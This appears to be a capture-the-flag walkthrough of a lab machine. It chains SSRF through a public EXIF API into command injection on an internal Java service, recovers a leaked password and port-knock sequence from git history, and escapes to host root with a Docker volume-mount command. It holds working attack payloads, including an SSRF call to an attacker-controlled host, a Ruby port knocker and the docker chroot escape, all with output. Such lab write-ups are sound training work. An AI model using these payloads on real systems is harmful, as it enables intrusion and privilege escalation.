This will send our image URL, either a HTTP link (http://example.org/image.png)
or data-URI (data:image/png;base64,iVBOR...) to an internal API
(http://api-dev-backup:8080/exif). But we have an externally exposed API and
trying to reach http://10.10.190.91/api/exif gives a 500 error because the
endpoint exists but we did not provide any argument and it must be expecting
the url too. So /api/exif exposed on port 80 must be the same API as
/exif on the internal port 8080.
But is there a difference in filtering between the production and backup API?
For now I don't know, but with the error message I get I know it's a Java backend:
An error occurred: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection.
Also if I make a SSRF to a controlled URL with ssrf-sheriff
(eg. http://10.10.190.91/api/exif?url=http://10.9.19.77:8000) I retrieve
the following entry leaking Java version (11.0.8):
We can reach the internal dev APi via the public one (SSRF):
/api/exif?url=http://api-dev-backup:8080/exif?url=xxx and it seems that the
internal one is vulnerable to command injection:
HTTP/1.1 200 OK Server: nginx/1.19.6 Date: Thu, 18 Mar 2021 09:15:06 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 360 Connection: close
An error occurred: File format could not be determined Retrieved Content ---------------------------------------- An error occurred: File format could not be determined Retrieved Content ---------------------------------------- uid=0(root) gid=0(root) groups=0(root)
It seems we are running as root in a docker container and we found a password
in dev-note.txt: fluffybunnies123. It's a valid password for the web app
or SSH.
$ ruby rce.rb 'cd /root; git --no-pager log --oneline' 5242825 fixed the dev note 4530ff7 Removed the flag and original dev note b/c Security a3d30a7 Added the flag and dev notes
diff --git a/dev-note.txt b/dev-note.txt new file mode 100644 index 0000000..89dcd01 --- /dev/null +++ b/dev-note.txt @@ -0,0 +1,9 @@ +Hey guys, + +I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin. + +Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port. + +Cheers, + +Hydra \ No newline at end of file diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..aae8129 --- /dev/null +++ b/flag.txt @@ -0,0 +1,3 @@ +You found the root flag, or did you? + +THM{edited} \ No newline at end of file
The second dev note was telling us to do some port knocking on TCP ports
42, 1337, 10420, 6969, and 63000 to expose the docker port remotely.
We can write a quick port knocker in Ruby:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
require'socket'
ports = [42, 1337, 10420, 6969, 63000]
ports.each do |port| puts "[+] Port: #{port}" sleep 1 begin s = TCPSocket.new '10.10.70.53', port s.close rescueErrno::ECONNREFUSED, Errno::EHOSTUNREACH next end end
$ nmap -p 2375 10.10.70.53 Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-18 11:27 CET Nmap scan report for 10.10.70.53 Host is up (0.034s latency).
PORT STATE SERVICE 2375/tcp open docker
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
Description: The resulting is a root shell. Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
$ docker run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh # id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) # cat /root/flag.txt Congrats, you found the real flag!